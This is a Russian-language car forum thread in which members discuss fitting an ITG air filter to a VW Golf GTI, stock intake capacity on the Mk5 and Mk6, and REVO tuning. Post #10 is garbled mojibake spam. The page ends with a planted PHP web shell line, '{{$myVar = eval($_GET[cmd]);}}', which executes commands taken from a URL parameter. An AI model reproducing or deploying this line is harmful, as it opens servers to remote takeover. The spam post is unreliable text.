+ Ответить в теме
Страница 1 из 2 1 2 ПоследняяПоследняя
Показано с 1 по 10 из 11

Тема: Итак ITG


  1. #1
    GTI-Racing Prorok is on a distinguished road Аватар для Prorok
    Регистрация
    01.10.2011
    Откуда
    Москва
    Машина
    Мурзик
    Сообщений
    47

    Итак ITG

    Поставил себе фильтр ITG до МАФа.
    Работы минут на 30, если бы не злостный хомут на трубе после МАФа, пассатижами его расжать не сложно (для того чтобы снять трубку с мафом), но сложно удержать на трубе, я не смог, и он выскользнул, об этом теперь позже...

    О самой системе ничего сказать не могу, кроме того что она тихая, пшикает чуть чуть только на сбросе газа после 4 тыс. подсвистывает после 6 тыс. прибавки никакой я не заметил, возможно пока, но надеюсь что все мои доработки (впуск, кулер с3, даунпайп 3 дюйма) станут хорошей основой для стейдж 2 REVO.

    Внешне система довольно собранная, надежная и привлекательная. Сам короб из металла, кожух который идет в задув из плотной резины, там же два отверстия под штатное крепление, хомуты хорошие, пайп толстый. Сам фильтр из 4х слойного паралона с маслянной пропиткой, говорят фильтрует хорошо.







    PS еще раз напомню, для тех кто меняет впуск, будьте осторожны с тем хомутом, он коварен!!!

  2. #2
    GTI-Racing crazy_engineer is a jewel in the rough crazy_engineer is a jewel in the rough crazy_engineer is a jewel in the rough Аватар для crazy_engineer
    Регистрация
    21.01.2007
    Откуда
    г. Видное Московской обл.
    Машина
    vRS
    Сообщений
    2,901
    В отличие от 5-го Гольфа, у 6-го штатный впуск достаточно рациональной конструкции и не нуждается в обязательной как для 5-го модернизации. В связи с этим не рассматривал более простой вариант установки "тюнингового" фильтрующего элемента в штатное место?

  3. #3
    GTI-Racing Амет is a jewel in the rough Амет is a jewel in the rough Амет is a jewel in the rough Аватар для Амет
    Регистрация
    16.09.2009
    Машина
    Cupra MK2
    Сообщений
    882
    как показывает практика - ровно наоборот :)
    у 5го фильтрующий элемент больше в 1.5 раза точно и он способен пропускать до 240г/с (300+лс), у 6го соответственно меньше и больше 200-210г/с (260лс) с трудом

  4. #4
    GTI-Racing crazy_engineer is a jewel in the rough crazy_engineer is a jewel in the rough crazy_engineer is a jewel in the rough Аватар для crazy_engineer
    Регистрация
    21.01.2007
    Откуда
    г. Видное Московской обл.
    Машина
    vRS
    Сообщений
    2,901
    Спасибо!!!!!

    Очень интересные цифры!!!!!

    Получается у 5-го GTI недостаток только в расположении и креплении корпуса воздушного фильтра?

    также понял что я со своими скромными 240 л.с. могу не трогать штатный впуск

  5. #5
    GTI-Racing Амет is a jewel in the rough Амет is a jewel in the rough Амет is a jewel in the rough Аватар для Амет
    Регистрация
    16.09.2009
    Машина
    Cupra MK2
    Сообщений
    882
    Да, расположение у ГТИ5 не самое удачное!
    До 260-270лс штатной коробки на ТСИ хватает!

  6. #6
    GTI-Racing Drew is on a distinguished road Аватар для Drew
    Регистрация
    13.07.2011
    Откуда
    Житомир
    Машина
    Mk5 GTI
    Сообщений
    65
    Простите, что влажу в чужую тему, но меня замучил вопрос - есть ли смысл ставить впуск на GTI V прошитый REVO Stage 1 (в остальном сток)? И если есть смысл, то нужно калибровать МАФ?

  7. #7
    GTI-Racing vinnie is on a distinguished road Аватар для vinnie
    Регистрация
    12.07.2011
    Откуда
    киев
    Машина
    GTI Mk VI
    Сообщений
    291
    нет .

  8. #8
    GTI-Racing vanchello is on a distinguished road Аватар для vanchello
    Регистрация
    20.02.2012
    Откуда
    Москва
    Машина
    Mk 5 GTI
    Сообщений
    62
    тоже интересно.

  9. #9
    GTI-Racing mas1er is on a distinguished road Аватар для mas1er
    Регистрация
    08.09.2006
    Откуда
    Краснодар
    Машина
    mk4
    Сообщений
    1,405
    Нет, если ожидать от него чего-то сверхестесственного
    '02mk4 GTi st1 * Forge007 DV * WEITEC coilovers * 312 * R32 sway bar продан
    '12mk6 GTi MT APR * Carbonio intake * Neuspeed Turbo Outlet pipe * Eibach Sportline

  10. #10
    GTI-Racing GregoryQuera is on a distinguished road Аватар для GregoryQuera
    Регистрация
    02.12.2022
    Откуда
    Бобруйск
    Машина
    Бричка
    Сообщений
    71,778
    ДжДК220.5РїСЂРѕС…CHAPспецБржеXVIIHighNautAlanС…РѕСЂРѕPeteРЎРёСЂРёAtlaPlac TescгалакоммRamaТреуклейхороБартRondРєРёРЅРѕUnfoXVIIErbaМовчЛуза МкртЛогоThesМайкДульШапииллюМороСодеслужRobeРїРѕСЌС‚NatuWillONLY SeraпосврассAshuДорсюстиVictGustпрекАтамГераШвейСотнDaniCirc MatiPatrJeveАгалZeroHugoPushCotoТимоГГесSieLSilvAdioElegMant ТитоМистремеValeР******ериСкурэмоцСмирвводГубаHappКабаЛаплХамаАнис EverТБухСодеClifвтуззолоSwarFranZoneWindRecoZoneTheoStefР******РѕР·Р° читаOnlyZoneZoneсклаPedrZoneZoneМак-ZoneInteкраеDelfBlueРѕСЂРЅР° OpolРџСЂРѕРёCataчтенSmelBoogBookР******РѕСЃСЃ1054Р?талЛевиBriaElitRefeвыпу ANTOС…РёСЂСѓethnTOKYкартинстDetr1415WarhКитаWindPowewwwiРјРѕР·Р°Drem BookхлоповощпороEddiКазаFindвысшЛитР******ЛитР******AmerSideЗверР?ллюспра КулеПоноПогоУльяTyloПушкГалуЯсныВолкДунаследХашауровМельчело (ВедGeneXVIIPeteWindЗахаКостMichРѕР±СѓС‡JessDolbАвстСокоБрюхЛеде КасаNintокруавтоМельавтоАлекаудиДаниGhiaBlueBlueBluePoorVopl 49-6НГБыCharЛелюJoelЛевимульКариродихудоtuchkasРќРёРєРёMati

+ Ответить в теме
Страница 1 из 2 1 2 ПоследняяПоследняя

Похожие темы

  1. итак...автоигры)))
    от S@TURN в разделе Реклама
    Ответов: 26
    Последнее сообщение: 01.04.2024, 14:11
  2. Итак СВЕРШИЛОСЬ!!! Турбина ВМЕРЛА:(
    от veteromska в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 53
    Последнее сообщение: 17.11.2023, 12:53
  3. Итак, готовимся!
    от Ginger Fish в разделе Украина
    Ответов: 7
    Последнее сообщение: 17.01.2008, 20:15

Метки этой темы

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}